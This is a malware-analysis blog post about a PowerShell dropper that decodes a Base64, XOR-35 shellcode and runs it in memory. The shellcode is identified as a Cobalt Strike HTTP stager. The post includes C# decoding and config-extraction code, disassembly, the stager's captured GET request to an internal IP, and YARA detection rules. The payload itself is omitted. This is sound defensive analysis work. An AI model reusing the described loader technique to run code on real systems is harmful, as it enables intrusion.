ethical.blue Magazine

// Cybersecurity clarified.

Malicious PowerShell Script Executes Shellcode

2022-06-05   Dawid Farbaniec
...
Sally (Artificial Intelligence)
Sample with SHA-256 checksum:
4114796b6e78026b46e22ded9c368760129544f70fd9955fe9fc9b1e804d96b2
has visited the laboratory.

When writing this the sample was detectable by 34 of all 57 security providers and 0 sandboxes. Signatures appearing during the scan indicate that the sample is associated with the software Cobalt Strike | Adversary Simulation and Red Team Operations.

Windows PowerShell Trojan Dropper (Loader)

The sample is PowerShell Script (.ps1 file extension) and is not obfuscated.


The script contains payload which is coded with Base64 algorithm.


Bytes after decoding are in addition XORed with the key 35.


There is a memory buffer allocated for payload bytes with function VirtualAlloc. The buffer is zeroed and the payload bytes are copied to new memory buffer.


The raw payload bytes are then executed in memory.


One can dump easily the payload bytes with this sample code in C# (.NET).
// See https://aka.ms/new-console-template for more information

byte[] payload = Convert.FromBase64String("payload cutted for safety and brevity.");

for(int i = 0; i < payload.Length; i++)
{
    payload[i] ^= 35;
}

File.WriteAllBytes(@"C:\Users\x\Desktop\dump1.bin", payload);

Console.WriteLine("Done.");

Payload is dumped. It's worth to calculate hashes for better identification of sample.
Calculating hashes... (dump1.bin)
SHA-256:
18AF4F5A5AD1399AB990776EE814E9F4860E94C80141042C69FED72A25A8E42E
SHA-384:
8E555B7CD7FE39BAAB9CAE2BE6A3B2EFDE3C39866FC31DCFDD5514070022D03B25948A60F361D968DAC784EC88355641
SHA-512:
73A8BC2DAA53B405FAAEE933227619A61FE19A6A515685DD10291961020A1264D910ACFCB2996E6170C643B6E06E0EB020E89A798423CDEEBE109C904086086F
Calculating deprecated hashes...
MD5:
60AC66D9EEBA8ACC6B7EF4C6AE1226F4
SHA-1:
2674BC7B8B935BD689C1ACBB7F348A105702B8B5
The algorithms MD5 and SHA-1 are no longer considered secure. These algorithms should only be used for simple modification checks and should not be used to create hash values used for tampering checks.

Reading the payload code in disassembler one can see that this is shellcode for Windows x64 (64-bit). One can run this shellcode in debugger for analysis for example with BytesLauncher Solution. This quick and dirty solution reads the payload bytes from file and executes in memory for analysis.

Behavior analysis shows that the dumped shellcode sends GET request through HTTP protocol. Of course there will be no reply. The sample is in isolated environment. I do not have the missed part to simulate full behavior.


GET http://192.168.0.12/kUKR HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;ENXA)
Host: 192.168.0.12
Proxy-Connection: Keep-Alive
Pragma: no-cache

But this is not the end of analysis.

Under debugger one can see instructions reading memory at specified offsets from GS segment register. It is common to shellcodes.
6548:8B52 60 | mov rdx, qword ptr gs:[rdx+60]     |

48:8B52 18   | mov rdx, qword ptr ds:[rdx+18]     |
48:8B52 20   | mov rdx, qword ptr ds:[rdx+20]     |
48:8B72 50   | mov rsi, qword ptr ds:[rdx+50]     |
48:0FB74A 4A | movzx rcx, word ptr ds:[rdx+4A]    | rcx:"wininet"
4D:31C9      | xor r9, r9                         |
48:31C0      | xor rax, rax                       | rax:payload
AC           | lodsb                              |
3C 61        | cmp al, 61                         | 61:'a'
7C 02        | jl byteslauncher_x64.7FF6BA903037  |

Dynamic analysis shows which API functions are used for network communication.


First there is LoadLibraryA call to load the wininet library. Next the InternetOpenA and InternetConnectA functions are trying to connect to specified IP address.

Function HttpSendRequestA is sending the request. One can cheat the malware in debugger to continue execution by modifying the function result value. This shows that there is new memory buffer allocated with VirtualAlloc and the next stage payload is read with InternetReadFile API function.

Configuration information from sample can be read for example with this code in C# (.NET).
// See https://aka.ms/new-console-template for more information

using System.Text;

var payload = File.ReadAllBytes(@"C:\Users\x\Desktop\dump1.bin");

if (payload == null)
{
    Console.WriteLine("Error reading payload.");
    return;
}
    

if(payload.Length < 0 || payload.Length > 4096)
{
    Console.WriteLine("Payload length is probably incorrect.");
    return;
}

List<byte> bytes = new(payload);

string IPAddress = Encoding.ASCII.GetString(
    bytes.GetRange(0x36A, 0x11).ToArray());
string command = Encoding.ASCII.GetString(
    bytes.GetRange(0x186, 0x50).ToArray());
string userAgent = Encoding.ASCII.GetString(
    bytes.GetRange(0x1D6, 0x12F).ToArray());

Console.WriteLine("http://" + IPAddress.TrimEnd((char)0x00) + command);
Console.WriteLine(userAgent);

Sample YARA Rules

Rule for Malicious Loader in PowerShell

rule powershell_shellcode_loader {

    meta:
        author = "ethical.blue"
        filetype = "PowerShell Script"
        date = "2022-05-19"
    strings:
        $suspicious_base64 = "[System.Convert]::FromBase64String"
        $delegate_from_func_ptr = "[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer"
        $execute_func = ".Invoke([IntPtr]::Zero)"
    condition:
        all of them
}

Rule for Windows x64 Shellcode

rule win64_PEB_traverser {

    meta:
        author = "ethical.blue"
        filetype = "Binary File"
        date = "2022-05-19"
    strings:
        /* 6548:8B52 60 | mov rdx,qword ptr gs:[rdx+60] */
        $read_GS_register = { 65 48 8B ?? 60 }
        /* 48:8B52 18 | mov rdx,qword ptr ds:[rdx+18] */
        $read_18_offset = { 48 8B ?? 18 }
        /* 48:8B52 20 | mov rdx,qword ptr ds:[rdx+20] */
        $read_20_offset = { 48 8B ?? 20 }
    condition:
        all of them
}

Cobalt Strike HTTP Stager x64

The shellcode from investigated sample and binary file httpstager64.bin from Cobalt Strike sample are like two peas in a pod. This allows to successfully identify and classify the malware sample.



Bibliography

https://www.virustotal.com/gui/file/4114796b6e78026b46e22ded9c368760129544f70fd9955fe9fc9b1e804d96b2/ [access: 2022-05-19]